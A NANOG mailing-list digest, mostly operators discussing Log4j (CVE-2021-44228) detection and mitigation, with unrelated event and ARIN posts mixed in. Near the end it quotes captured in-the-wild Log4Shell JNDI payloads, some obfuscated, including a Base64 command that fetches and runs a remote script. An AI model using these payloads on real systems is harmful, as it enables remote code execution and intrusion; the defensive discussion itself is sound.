Re: Log4j mitigation

[Karl Auer]

On Mon, 2021-12-13 at 17:07 +0200, Hank Nussbacher wrote:
> Scan your systems:
> https://github.com/logpresso/CVE-2021-44228-Scanner
> https://github.com/fullhunt/log4j-scan

This is possibly a weird question, but has anyone set up a known-
vulnerable system? To test especially the second of those scanners?

Alternatively, can anyone here vouch for the tool (i.e., you've done an
A/B test on a site with the vulnerability present and again on the same
system with the vulnerability mitigated, and the tool got it right in
both cases)?

I have plenty of known-INvulnerable systems :-)

The thing is I have a few systems that I would have thought were
vulnerable but the second tool above reports them as not being
vulnerable. Making me slightly doubt the efficacy of the tool. I this
situation, I'd like to know for a fact that it will detect this
vulnerability.

Regards, K.

-- 
~~~
Karl Auer (ka...@biplane.com.au)
http://www.biplane.com.au/kauer

GPG fingerprint: 61A0 99A9 8823 3A75 871E 5D90 BADB B237 260C 9C58
Old fingerprint: 2561 E9EC D868 E73C 8AF1 49CF EE50 4B1D CCA1 5170

[NANOG-announce] NANOG 84 Meeting Registration

[NANOG Support]

Dear NANOG Community,


NANOG 84  hybrid meeting, hosted by Quantum
Loophole  will take place February 14-16,
2022 in Austin, TX.


   1.

   Registration Fees + Deadlines
   2.

   Hotel Guest Room Block
   3.

   Safety + Travel




   1.

   Registration Fees + Deadlines

Meeting Registration: https://www.nanog.org/events/nanog-84/registration/


Dates

Member

Non Member

Student

Virtual

Early

Dec 13, 2021- Jan 10, 2022

$525

$550

$100

$100

Standard

Jan 11-Jan 31, 2022

$625

$650

$100

$100

Late

Feb 1 - Feb 12, 2022

$725

$750

$100

$100

Onsite

Feb 13 - Feb 16, 2022

$925

$950

$100

$100

Cancellation Policy:

Cancellation Fee (December 13, 2021 - January 30, 2021): $50

Cancellation Fee (January 31 - February 12, 2022): $100

No refunds will be offered after February 13, 2022

NANOG Social Event Guest Pass: $50 per guest (purchase separately when you
register, limit 2)


   1.

   Hotel Guest Room Block

Austin Marriott Downtown

304 East Cesar Chavez Street


Austin, Texas 78701 USA




Online Reservations: click here


Group Name:NANOG 84

Room Rate:  $289.00 USD — Standard Room Occupancy* (up to 2 people)

$309.00 USD Triple Occupancy*

$329.00 USD Quadruple Occupancy*

*PLUS applicable taxes, which are currently at a rate of 17.614%*

Group Rate Expires: Jan 21, 2022 or once the NANOG block is filled
Reservations:  +1.512.457. OR Toll Free 1.888.236.2427
Check In Time:  4:00PM
Check Out Time:   11:00AM

Cancellation Policy: Guests can cancel their reservations 48hours prior to
their arrival to receive a full refund of their deposit. Any reservation
canceled after 48 priors to arrival will forfeit a fee of one night's room
and tax.

BEWARE: Anyone contacting individuals and representing itself as NANOG’s
housing vendor or selling the meeting registration list  is fraudulent.

Valet Parking Rates:

0-3 hours: $30.31 including tax

3-6 hours: $41.13 including tax

6+ hours: $58.45 including tax

Overnight: $54.00 plus tax

For those wanting to self park, the hotel is across the street from the
Austin Convention Center garage:

https://www.austinconventioncenter.com/directions-and-parking/



   1.

   Safety + Travel: Your health and safety is very important to us and
   NANOG is ready to host everyone safely in Austin. We will require that
   everyone attending NANOG 84 be fully vaccinated against COVID-19 no later
   than January 31, 2022.  You are considered fully vaccinated at least 2
   weeks after the final dose in either a 2 dose vaccine series (Pfizer,
   Moderna or AstraZeneca) or the single dose series (Johnson & Johnson’s
   Janssen) vaccine. If you do not meet these requirements, you are not fully
   vaccinated and we request that you join us for NANOG 84 virtually. There
   will be no exceptions. Please visit the Safety + Travel
    page for the latest
   information.



We look forward to seeing you in Austin, Texas!

Sincerely, the NANOG Staff

nanog-supp...@nanog.org
___
NANOG-announce mailing list
NANOG-announce@nanog.org
https://mailman.nanog.org/mailman/listinfo/nanog-announce

Re: Log4j mitigation

[Carsten Bormann]

On 13. Dec 2021, at 20:32, Jared Mauch  wrote:
> 
> This is an great modern example showing how deeply embedded things could be, 
> and they get worse with each of these nesting technologies as well, it may be 
> embedded in a docker or VM image, or the class could be in some other JAR or 
> zip you are not aware of, or could come back with an overlapping class 
> definition based on the order things get loaded.

That’s what we’ll have SBOMs for [1].

Grüße, Carsten

[1]: https://en.wikipedia.org/wiki/Software_bill_of_materials

Re: Log4j mitigation

[Andy Ringsmuth]

> On Dec 13, 2021, at 3:57 PM, Karl Auer  wrote:
> 
> On Mon, 2021-12-13 at 08:01 -0600, Mike Hammett wrote:
>> "Security" people often let perfect be the enemy of good. Sometimes
>> it's okay. Sometimes not. 
> 
> Can you offer an example of where it's okay?
> 
> I'm not a "security" person. Also not sure what the double quotes mean
> :-)
> 
> Regards, K.

TSA? 

Oh, wait, never mind. That’s “security theater” and not “security.”


-Andy

Re: Log4j mitigation

[Karl Auer]

On Mon, 2021-12-13 at 08:01 -0600, Mike Hammett wrote:
> "Security" people often let perfect be the enemy of good. Sometimes
> it's okay. Sometimes not. 

Can you offer an example of where it's okay?

I'm not a "security" person. Also not sure what the double quotes mean
:-)

Regards, K.


-- 
~~~
Karl Auer (ka...@biplane.com.au)
http://www.biplane.com.au/kauer

GPG fingerprint: 61A0 99A9 8823 3A75 871E 5D90 BADB B237 260C 9C58
Old fingerprint: 2561 E9EC D868 E73C 8AF1 49CF EE50 4B1D CCA1 5170

RE: Log4j mitigation

[Jean St-Laurent via NANOG]

Indeed, it is extremely used.

 

This new threat seems to behave like a worm. What was the last worm-like virus?

 

I recall sql slammer or something like that in early 2000. 

 

Was there any other very popular worm between 2003 and now?

 

Thanks
Jean

 

From: NANOG  On Behalf Of Alain Hebert
Sent: December 13, 2021 3:01 PM
To: nanog@nanog.org
Subject: Re: Log4j mitigation

 

Well,

In my experience, it is a really widely used library.  It has been pretty 
much the de-facto standard for logging for a long while.


IMHO

So anything Java (and exposed obviously) need a review...


Best Practices

As a standard we always tent to push our customers to more light-weight 
logging library with less magic.


PS: And it is not the first time Log4j ended causing headaches...  For those 
wondering.  I remember back in 2017 when everyone was angrily saying they'll 
change for something else...

https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=log4j




-
Alain Hebertaheb...@pubnix.net 

PubNIX Inc.
50 boul. St-Charles
P.O. Box 26770 Beaconsfield, Quebec H9W 6G7
Tel: 514-990-5911  http://www.pubnix.netFax: 514-990-9443

On 12/13/21 14:24, Owen DeLong via NANOG wrote:

The bigger problem seems to be the ever growing list of products you may be 
using which depend on it potentially without your knowledge.
 
Owen
 
 

On Dec 11, 2021, at 03:41 , Jared Mauch   
 wrote:
 
This is largely a patching exercise for people that use the software. If you 
use it, please patch. 
 
Sent via RFC1925 complaint device
 

On Dec 10, 2021, at 10:59 PM, Andy Ringsmuth   
 wrote:
 
The intricacies of Java are over my head, but I’ve been reading about this 
Log4j issue that sounds pretty bad.
 
What do we know about this? What, if anything, can a network operator do to 
help mitigate this? Or even an end user?
 

Andy Ringsmuth
5609 Harding Drive
Lincoln, NE 68521-5831
(402) 304-0083
a...@andyring.com  

 

 

Re: Log4j mitigation

[Alain Hebert]

    Well,

    In my experience, it is a really widely used library.  It has been 
pretty much the de-facto standard for logging for a long while.



IMHO

    So anything Java (and exposed obviously) need a review...


Best Practices

    As a standard we always tent to push our customers to more 
light-weight logging library with less magic.



PS: And it is not the first time Log4j ended causing headaches... For 
those wondering.  I remember back in 2017 when everyone was angrily 
saying they'll change for something else...


https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=log4j

-
Alain hebertaheb...@pubnix.net
PubNIX Inc.

50 boul. St-Charles
P.O. Box 26770 Beaconsfield, Quebec H9W 6G7
Tel: 514-990-5911http://www.pubnix.net Fax: 514-990-9443

On 12/13/21 14:24, Owen DeLong via NANOG wrote:

The bigger problem seems to be the ever growing list of products you may be 
using which depend on it potentially without your knowledge.

Owen



On Dec 11, 2021, at 03:41 , Jared Mauch  wrote:

This is largely a patching exercise for people that use the software. If you 
use it, please patch.

Sent via RFC1925 complaint device


On Dec 10, 2021, at 10:59 PM, Andy Ringsmuth  wrote:

The intricacies of Java are over my head, but I’ve been reading about this 
Log4j issue that sounds pretty bad.

What do we know about this? What, if anything, can a network operator do to 
help mitigate this? Or even an end user?


Andy Ringsmuth
5609 Harding Drive
Lincoln, NE 68521-5831
(402) 304-0083
a...@andyring.com

Re: Log4j mitigation

[Owen DeLong via NANOG]

> On Dec 11, 2021, at 04:11 , Nick Hilliard  wrote:
> 
> Andy Ringsmuth wrote on 11/12/2021 03:54:
>> The intricacies of Java are over my head, but I’ve been reading about this 
>> Log4j issue that sounds pretty bad.
>> What do we know about this? What, if anything, can a network operator do to 
>> help mitigate this? Or even an end user?
> 
> The payload can be contained in https, so there is no way of detecting / 
> stopping this at the network level.  Installations need to be upgraded / 
> fixed.
> 
> https://logging.apache.org/log4j/2.x/security.html
> 
> 1. upgrade log4j to 2.15.0 and restart all java apps
> 2. start java with "-D log4j2.formatMsgNoLookups=true" (v2.10+ only)
> 3. start java with "LOG4J_FORMAT_MSG_NO_LOOKUPS=true" environment variable 
> (v2.10+ only)
> 4. zip -q -d log4j-core-*.jar 
> org/apache/logging/log4j/core/lookup/JndiLookup.class
> 
> There's a lot of scanning going on at the moment, so if you have an exposed 
> java instance running something which includes log4j2, you may already be 
> compromised.
> 
> Nick

Alternatively, this incantation solved the problem on my linux server:

rpm -e log4j12 ant-apache-log4j log4j


Owen

Re: Log4j mitigation

[Jared Mauch]

> On Dec 13, 2021, at 2:24 PM, Owen DeLong  wrote:
> 
> The bigger problem seems to be the ever growing list of products you may be 
> using which depend on it potentially without your knowledge.

This isn’t a new problem.

This is an great modern example showing how deeply embedded things could be, 
and they get worse with each of these nesting technologies as well, it may be 
embedded in a docker or VM image, or the class could be in some other JAR or 
zip you are not aware of, or could come back with an overlapping class 
definition based on the order things get loaded.

The same was always true with shared libraries and too-generic function names.

It’s such a blast from the past as I had felt we had moved past many of these 
interpreted environment or parser things by properly encoding strings with a 
function.

I’m really amazed at how widespread this is and what enterprise applications 
have had to get patched due to them embedding this software.

- jared

Re: Log4j mitigation

[Owen DeLong via NANOG]

The bigger problem seems to be the ever growing list of products you may be 
using which depend on it potentially without your knowledge.

Owen


> On Dec 11, 2021, at 03:41 , Jared Mauch  wrote:
> 
> This is largely a patching exercise for people that use the software. If you 
> use it, please patch. 
> 
> Sent via RFC1925 complaint device
> 
>> On Dec 10, 2021, at 10:59 PM, Andy Ringsmuth  wrote:
>> 
>> The intricacies of Java are over my head, but I’ve been reading about this 
>> Log4j issue that sounds pretty bad.
>> 
>> What do we know about this? What, if anything, can a network operator do to 
>> help mitigate this? Or even an end user?
>> 
>> 
>> Andy Ringsmuth
>> 5609 Harding Drive
>> Lincoln, NE 68521-5831
>> (402) 304-0083
>> a...@andyring.com

Re: questions about ARIN ipv6 allocation

[Owen DeLong via NANOG]

> On Dec 11, 2021, at 02:44 , John Curran  wrote:
> 
> 
>> On 10 Dec 2021, at 5:00 PM, John Gilmore > > wrote:
>> ...
>> Owen, the root of your problem is that you signed an LRSA with ARIN,
>> rather than keeping your legacy resources un-tainted by an ARIN contract
>> that deliberately reduced your rights
> 
> 
> Signing a contract with ARIN certainly clarifies and makes specific the 
> rights involved, but it is not possible to say “reduces” with any certainty 
> as the existing rights are rather unclear without a specific statement of 
> what rights were granted at the time.   Alas, issuance of number resources in 
> the early days did not make the rights or associated obligations clear.   
> Some legacy resource holders find entering into an RSA with ARIN to be quite 
> useful and others prefer not to – that choice is up to them, and is not 
> required as the the ARIN Board of Trustees has directed that ARIN continue to 
> provide the same basic registration services available at our formation to 
> all legacy resource holders without fee or contract. 

There is at least one certain reduction… It removes the right to stop doing 
business with ARIN without surrendering the rights you had before you started.

>> The short-term contract for the transfer honors and retains the legacy
>> status of those resources: that you own them, not the ARIN fiction that
>> an RIR now controls them and will steal them from you if you stop paying
>> them annually.
> 
> For organizations that do enter into a registration agreement with ARIN, 
> there are indeed obligations (such as payment of registry fees) that are 
> quite real but also benefits such as the ability to obtain new services 
> funded by such fees and participation in the governance of ARIN.  As noted 
> above - folks can enter into an agreement (or not) as they deem best.  Note 
> one of the other advantages of the upcoming change to ARIN’s fee structure is 
> that it will also open up ARIN membership and voting to all contracted 
> registry customers with IPv4 or IPv6 number resources – rather than just 
> those previously deemed ISPs – so those who do enter into a RSA and choose to 
> participate in ARIN governance will have the equal ability to vote for the 
> Board and set ARIN’s practices with regard to legacy resource holders. 

I have no use for these supposed new services (which as near as I can tell boil 
down to RPKI and a new version of an IRR which equivalent service can be 
obtained elsewhere at no cost, such as ALTDB).

Since I’ve never used any of these supposed new services and they are of no 
benefit to me, subsidizing them at an ever increasing price ins’t an attractive 
option.

There was a time when entering into the agreement seemed best. Unfortunately, 
the problem is the hotel California nature of the agreement. You can check in 
any time you like, but you can never leave (at least not in tact).

Owen

Re: Cleaning out my basement - hopefully useful to someone near IAD

[Warren Kumari]

[ Top Post ]

Thank you everyone -- I've gotten a fair number of off-list responses, and
it seems as though all the things will be taken and given good home(s).

If this falls through, I'll update the thread.

W



On Sun, Dec 12, 2021 at 5:14 PM Warren Kumari  wrote:

> Hi all,
>
> I'm in the process of cleaning out my basement and getting rid of a bunch
> of networking stuff that I've accumulated over the years.
>
> Much of it is older, but I'm hoping it might be useful to someone,
> especially if they are doing anything like building a lab for
> learning/certification, etc. I'm giving it away (not selling it), and I'm
> in Northern VA, near IAD / Ashburn Equinix.
>
> A very partial list:
> Cisco 7401ASR
> Cisco 3560 switch
> Bunch of Cisco 7960 IP phones.
> Avaya IP phone
>
> Some Juniper M7i power supplies
>
> Wandel & Goltermann DS3/DS1 BERT / tester
> T-Berd 209 T1 BERT
>
> Compact PCI cards (some Nokia, some others)
> PCI RAID
> Dialogic D/120JCT-LS PCI Voice Boards
>
> Many many other similar era things
>
> Some photos:
> https://photos.app.goo.gl/WMSdi7k6bt3TmMBa6
>
>
>
>
> Requests:
> 1: I'm near Dulles airport - you will have to come pick it up, and in the
> next few days. I'm not shipping things, etc.
>
> 2: I'd prefer that it goes to someone who will use it for
> learning purposes or similar (please no just taking it all to sell on eBay
> or similar)
>
> 3: I'd much prefer that one person take it all. It's taken me many months
> to get around to emptying the basement, and I'm trying to make this as easy
> as possible!
>
> 4: Please reply off-list (including contact information, when you can pick
> up, and confirmation that you would like everything) --no need to clutter
> up the list (as it is, this is close to what is acceptable use of the list)
>
> W
> --
> Perhaps they really do strive for incomprehensibility in their specs.
> After all, when the liturgy was in Latin, the laity knew their place.
> -- Michael Padlipsky
>
-- 
Perhaps they really do strive for incomprehensibility in their specs.
After all, when the liturgy was in Latin, the laity knew their place.
-- Michael Padlipsky

Re: Log4j mitigation

[Joe Greco]

On Mon, Dec 13, 2021 at 03:50:11PM +0100, J??rg Kost wrote:
> But in a world where the attacker can leak out a whole 16-bit integer,
> monitoring that 0.003% for two-port states may be irrelevant.
> Not saying you shall not, but you will miss 99.997%. Agree?

There's all sorts of statements I might agree with.

However, if I have an easy indicator of a known problem, such as "LDAP
traffic to an unknown server", I might be very tempted to set the IDS
to notify me if it sees the weird thing, and then let the very fast
moron just do its job.  That's what it's there for, after all.  Right?

I don't care if it misses 9% or 99% or 99.997%.  If I can generate some
cheap and easy hits, without finding out about problems the Equifax
way, I don't see the harm in that.  Sometimes we do things "just in
case."

... JG
-- 
Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net
"The strain of anti-intellectualism has been a constant thread winding its way
through our political and cultural life, nurtured by the false notion that
democracy means that 'my ignorance is just as good as your knowledge.'"-Asimov

Re: Log4j mitigation

[Hank Nussbacher]

On 13/12/2021 15:28, bofh139 wrote:

Now we have the long journey from Java, Ldap, DNS, Birds and Coffee Cups

behind us. Does anyone else have any advice on prevention?


Scan your systems:
https://github.com/logpresso/CVE-2021-44228-Scanner
https://github.com/fullhunt/log4j-scan

-Hank

Re: Log4j mitigation

[Jörg Kost]

But in a world where the attacker can leak out a whole 16-bit integer,
monitoring that 0.003% for two-port states may be irrelevant.
Not saying you shall not, but you will miss 99.997%. Agree?

On 13 Dec 2021, at 15:22, Joe Greco wrote:

> On Mon, Dec 13, 2021 at 01:49:07PM +0100, J??rg Kost wrote:
>> I understand what you want to say, but I disagree in this point. When
>> you have a cup full of water and someone remotely can drill holes into
>> the out shell, just checking the bottom for leaks won't help. You may
>> want a new mug instead. :-) The initial posting was about looking at the
>> bottom only.
>
> Maybe I'm the only one who puts cheap wireless leak sensors near toilets,
> drains, and other less-likely sources of water, in addition to the big
> alarm system hardwired ones in all the usual places.
>
> Of course, then again, we also have two AC sump pumps and one that is
> battery backup, all protected by generator and ATS.
>
> I prefer to know.  You, of course, are free to disregard as you see
> fit.

Re: Log4j mitigation

[A Crisan]

Hi all,

I guess what Jorg is suggesting is that beyond this particular incident, a
preventive testing/mitigation methodology would make for a great NANOG2022
presentation/workshop.

Cheers,
Dora

On Mon, Dec 13, 2021 at 2:33 PM Jean St-Laurent via NANOG 
wrote:

> I agree,
>
> As an example that back what you're saying, I pasted the ip provided by
> Jörg in my browser.
>
> http://45.83.64.1/
>
> Here is the html page returned.
>
> 
> ...
> Research Scanning Project
>
> This is a scanner of a research scanning project.
>
> If you want to exclude your IPs from scans, please send an e-mail to
> excl...@alphastrike.io.
>
> Thank you for your appreciation!
> ...
> 
>
> This ip scanner is in Germany and it looks legit, but a better
> investigation is recommended.
>
> The second host provided looks more suspicious.
>
> blah.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com resolve to
> 104.248.51.21 which is hosted on DigitalOcean.
>
> Here is the html output:
>
> 
> ...
> Interactsh Server
> Interactsh is an open-source solution for out-of-band data extraction. It
> is a tool designed to detect bugs that cause external interactions. These
> bugs include, Blind SQLi, Blind CMDi, SSRF, etc.
>
> If you find communications or exchanges with the interactsh.com server in
> your logs, it is possible that someone has been testing your applications.
>
> You should review the time when these interactions were initiated to
> identify the person responsible for this testing.
>
> ...
> 
>
> First, it's important to gain visibility and filter the goods from the
> bads.
>
> The first ip looks legit. The second could be reported to DigitalOcean for
> investigation. They usually investigate very fast.
>
> You can check for weird network flows patterns. You can also look for that
> suspicious html file that is crawling on http in clear text on your gears.
>
> At ISP level, visibility is a must and patterns will clearly become easy
> to identify.
>
> I agree with Karl that perfection is enemy of good.
>
> Jean
>
> -Original Message-
> From: NANOG  On Behalf Of Karl
> Auer
> Sent: December 13, 2021 7:55 AM
> To: NANOG List 
> Subject: Re: Log4j mitigation
>
> On Mon, 2021-12-13 at 06:35 -0600, Joe Greco wrote:
> > Just because there are other sources of fatalities, doesn't mean you
> > can't check for the quick obvious stuff.
>
> Indeed.
>
> One check, even an inadequate one, is better than no checks at all. And
> over time you can add more checks or improve the ones you have.
>
> Don't let "perfect" be the enemy of "good".
>
> Regards, K.
>
>
> --
> ~~~
> Karl Auer (ka...@biplane.com.au)
> http://www.biplane.com.au/kauer
>
> GPG fingerprint: 61A0 99A9 8823 3A75 871E 5D90 BADB B237 260C 9C58 Old
> fingerprint: 2561 E9EC D868 E73C 8AF1 49CF EE50 4B1D CCA1 5170
>
>
>
>
>

Re: Log4j mitigation

[Joe Greco]

On Mon, Dec 13, 2021 at 01:49:07PM +0100, J??rg Kost wrote:
> I understand what you want to say, but I disagree in this point. When 
> you have a cup full of water and someone remotely can drill holes into 
> the out shell, just checking the bottom for leaks won't help. You may 
> want a new mug instead. :-) The initial posting was about looking at the 
> bottom only.

Maybe I'm the only one who puts cheap wireless leak sensors near toilets,
drains, and other less-likely sources of water, in addition to the big 
alarm system hardwired ones in all the usual places.

Of course, then again, we also have two AC sump pumps and one that is
battery backup, all protected by generator and ATS.

I prefer to know.  You, of course, are free to disregard as you see
fit.

... JG
-- 
Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net
"The strain of anti-intellectualism has been a constant thread winding its way
through our political and cultural life, nurtured by the false notion that
democracy means that 'my ignorance is just as good as your knowledge.'"-Asimov

Re: Log4j mitigation

[Mike Hammett]

"Security" people often let perfect be the enemy of good. Sometimes it's okay. 
Sometimes not. 




- 
Mike Hammett 
Intelligent Computing Solutions 
http://www.ics-il.com 

Midwest-IX 
http://www.midwest-ix.com 

- Original Message -

From: "Karl Auer"  
To: "NANOG List"  
Sent: Monday, December 13, 2021 6:54:30 AM 
Subject: Re: Log4j mitigation 

On Mon, 2021-12-13 at 06:35 -0600, Joe Greco wrote: 
> Just because there are other sources of fatalities, doesn't mean you 
> can't check for the quick obvious stuff. 

Indeed. 

One check, even an inadequate one, is better than no checks at all. And 
over time you can add more checks or improve the ones you have. 

Don't let "perfect" be the enemy of "good". 

Regards, K. 


-- 
~~~ 
Karl Auer (ka...@biplane.com.au) 
http://www.biplane.com.au/kauer 

GPG fingerprint: 61A0 99A9 8823 3A75 871E 5D90 BADB B237 260C 9C58 
Old fingerprint: 2561 E9EC D868 E73C 8AF1 49CF EE50 4B1D CCA1 5170 

RE: Log4j mitigation

[Jean St-Laurent via NANOG]

I agree,

As an example that back what you're saying, I pasted the ip provided by Jörg in 
my browser.

http://45.83.64.1/

Here is the html page returned.


...
Research Scanning Project

This is a scanner of a research scanning project.

If you want to exclude your IPs from scans, please send an e-mail to 
excl...@alphastrike.io.

Thank you for your appreciation!
...


This ip scanner is in Germany and it looks legit, but a better investigation is 
recommended.

The second host provided looks more suspicious.

blah.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com resolve to
104.248.51.21 which is hosted on DigitalOcean.

Here is the html output:


...
Interactsh Server
Interactsh is an open-source solution for out-of-band data extraction. It is a 
tool designed to detect bugs that cause external interactions. These bugs 
include, Blind SQLi, Blind CMDi, SSRF, etc.

If you find communications or exchanges with the interactsh.com server in your 
logs, it is possible that someone has been testing your applications.

You should review the time when these interactions were initiated to identify 
the person responsible for this testing.

...


First, it's important to gain visibility and filter the goods from the bads.

The first ip looks legit. The second could be reported to DigitalOcean for 
investigation. They usually investigate very fast.

You can check for weird network flows patterns. You can also look for that 
suspicious html file that is crawling on http in clear text on your gears.

At ISP level, visibility is a must and patterns will clearly become easy to 
identify.

I agree with Karl that perfection is enemy of good.

Jean

-Original Message-
From: NANOG  On Behalf Of Karl Auer
Sent: December 13, 2021 7:55 AM
To: NANOG List 
Subject: Re: Log4j mitigation

On Mon, 2021-12-13 at 06:35 -0600, Joe Greco wrote:
> Just because there are other sources of fatalities, doesn't mean you 
> can't check for the quick obvious stuff.

Indeed.

One check, even an inadequate one, is better than no checks at all. And over 
time you can add more checks or improve the ones you have.

Don't let "perfect" be the enemy of "good".

Regards, K.


--
~~~
Karl Auer (ka...@biplane.com.au)
http://www.biplane.com.au/kauer

GPG fingerprint: 61A0 99A9 8823 3A75 871E 5D90 BADB B237 260C 9C58 Old 
fingerprint: 2561 E9EC D868 E73C 8AF1 49CF EE50 4B1D CCA1 5170

Re: Log4j mitigation

[bofh139]

>Now we have the long journey from Java, Ldap, DNS, Birds and Coffee Cups
behind us. Does anyone else have any advice on prevention?

There is a good Mega Thread over on /r/BlueTeamSec.
https://www.reddit.com/r/blueteamsec/comments/rd38z9/log4j_0day_being_exploited/

Also if you use Twitter, then follow GossiTheDog for lots of other links/info.
https://twitter.com/GossiTheDog

-- 


BaconZombie

55:55:44:44:4C:52:4C:52:42:41

LOAD "*",8,1

Re: Log4j mitigation

[Karl Auer]

On Mon, 2021-12-13 at 06:35 -0600, Joe Greco wrote:
> Just because there are other sources of fatalities, doesn't mean you
> can't check for the quick obvious stuff.

Indeed.

One check, even an inadequate one, is better than no checks at all. And
over time you can add more checks or improve the ones you have.

Don't let "perfect" be the enemy of "good".

Regards, K.


-- 
~~~
Karl Auer (ka...@biplane.com.au)
http://www.biplane.com.au/kauer

GPG fingerprint: 61A0 99A9 8823 3A75 871E 5D90 BADB B237 260C 9C58
Old fingerprint: 2561 E9EC D868 E73C 8AF1 49CF EE50 4B1D CCA1 5170

Re: Log4j mitigation

[Jörg Kost]

I understand what you want to say, but I disagree in this point. When 
you have a cup full of water and someone remotely can drill holes into 
the out shell, just checking the bottom for leaks won't help. You may 
want a new mug instead. :-) The initial posting was about looking at the 
bottom only.


Now we have the long journey from Java, Ldap, DNS, Birds and Coffee Cups 
behind us. Does anyone else have any advice on prevention?


On 13 Dec 2021, at 13:35, Joe Greco wrote:


On Mon, Dec 13, 2021 at 01:12:25PM +0100, J??rg Kost wrote:
Yes, but it won't change the outcome. We shall run with assuming 
breach
paradigm. In this scenario, it might be useless looking around for 
port

389 only; it can give you a wrong assumption.


That's like arguing that it isn't worth having a canary in the coal
mine.  Which, come to think of it, was implicitly the point of the
message I sent that you're replying to as well.  Just because there
are other sources of fatalities, doesn't mean you can't check for
the quick obvious stuff.  In my experience, this tends to reveal
issues that might have been forgotten or never known about to begin
with.  Most organizations have a variety of zombie legacy systems
that were set up by people on staff several generations ago.

The more tools at your disposal to identify breached systems, the
better.

Re: Log4j mitigation

[Joe Greco]

On Mon, Dec 13, 2021 at 01:12:25PM +0100, J??rg Kost wrote:
> Yes, but it won't change the outcome. We shall run with assuming breach 
> paradigm. In this scenario, it might be useless looking around for port 
> 389 only; it can give you a wrong assumption.

That's like arguing that it isn't worth having a canary in the coal
mine.  Which, come to think of it, was implicitly the point of the
message I sent that you're replying to as well.  Just because there
are other sources of fatalities, doesn't mean you can't check for
the quick obvious stuff.  In my experience, this tends to reveal
issues that might have been forgotten or never known about to begin
with.  Most organizations have a variety of zombie legacy systems
that were set up by people on staff several generations ago.

The more tools at your disposal to identify breached systems, the
better.

... JG
-- 
Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net
"The strain of anti-intellectualism has been a constant thread winding its way
through our political and cultural life, nurtured by the false notion that
democracy means that 'my ignorance is just as good as your knowledge.'"-Asimov

Re: Log4j mitigation

[Jörg Kost]

Yes, but it won't change the outcome. We shall run with assuming breach 
paradigm. In this scenario, it might be useless looking around for port 
389 only; it can give you a wrong assumption.


When a vulnerable system has a reachable path to the Internet and can 
open a reverse shell alone from the URI, waiting for 389 is hopeless. 
389 might be the initial starting port for the first wave of scanner and 
opportunist attackers, but it has already developed further.


Cloudflare already talks about the broad spectrum of possible payloads, 
where you can see that people try to load their payload via DNS (port 
53). Similar, what I posted half hour ago.


https://blog.cloudflare.com/actual-cve-2021-44228-payloads-captured-in-the-wild/


On 13 Dec 2021, at 13:04, Joe Greco wrote:


On Mon, Dec 13, 2021 at 12:39:58PM +0100, J??rg Kost wrote:

You can't see it.


I think you meant "you can't reliably see it".  This doesn't mean
that it isn't worth looking for obvious cases where you CAN see
it.

... JG
--
Joe Greco - sol.net Network Services - Milwaukee, WI - 
http://www.sol.net
"The strain of anti-intellectualism has been a constant thread winding 
its way
through our political and cultural life, nurtured by the false notion 
that
democracy means that 'my ignorance is just as good as your 
knowledge.'"-Asimov

Re: Log4j mitigation

[Joe Greco]

On Mon, Dec 13, 2021 at 12:39:58PM +0100, J??rg Kost wrote:
> You can't see it. 

I think you meant "you can't reliably see it".  This doesn't mean
that it isn't worth looking for obvious cases where you CAN see
it.

... JG
-- 
Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net
"The strain of anti-intellectualism has been a constant thread winding its way
through our political and cultural life, nurtured by the false notion that
democracy means that 'my ignorance is just as good as your knowledge.'"-Asimov

RE: Log4j mitigation

[Jean St-Laurent via NANOG]

This should translate in a query from your infected server toward an infected 
server controlled by a malicious hacker on port 389.

x=${jndi:ldap://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com/a}

Right?

Jean

-Original Message-
From: Jörg Kost  
Sent: December 13, 2021 6:40 AM
To: Jean St-Laurent 
Cc: Saku Ytti ; nanog@nanog.org
Subject: Re: Log4j mitigation

You can't see it. The attack vector can hide in HTTP GETs, Posts (SSL), in 
Headers, in anything related to where a Java process does logging with Log4j; 
it's innumerable. It might even evaluate from a URI itself; it won't use a 
fixed port. It's not wormy right now, but maybe it will soon.

We are seeing things like this since 10th of Dec. And this is only a typical 
Apache Logfile for HTTP/HTTPS, where we do logging:

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNzguMjQ4LjI0Mi4xNDE6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMTc4LjI0OC4yNDIuMTQxOjgwKXxiYXNo}
GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 301 281 
"${jndi:dns://45.83.64.1/securityscan-http80}" 
"${jndi:dns://45.83.64.1/securityscan-http80}
GET
/?x=${jndi:ldap://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com/a}
HTTP/1.1" 200 -
"${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}"
 
"${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}

Re: Log4j mitigation

[Jörg Kost]

The Base64 part tries to open a shell on the target host, you can decode 
yourself.


On 13 Dec 2021, at 12:39, Jörg Kost wrote:

You can't see it. The attack vector can hide in HTTP GETs, Posts 
(SSL), in Headers, in anything related to where a Java process does 
logging with Log4j; it's innumerable. It might even evaluate from a 
URI itself; it won't use a fixed port. It's not wormy right now, but 
maybe it will soon.


We are seeing things like this since 10th of Dec. And this is only a 
typical Apache Logfile for HTTP/HTTPS, where we do logging:


${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNzguMjQ4LjI0Mi4xNDE6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMTc4LjI0OC4yNDIuMTQxOjgwKXxiYXNo}
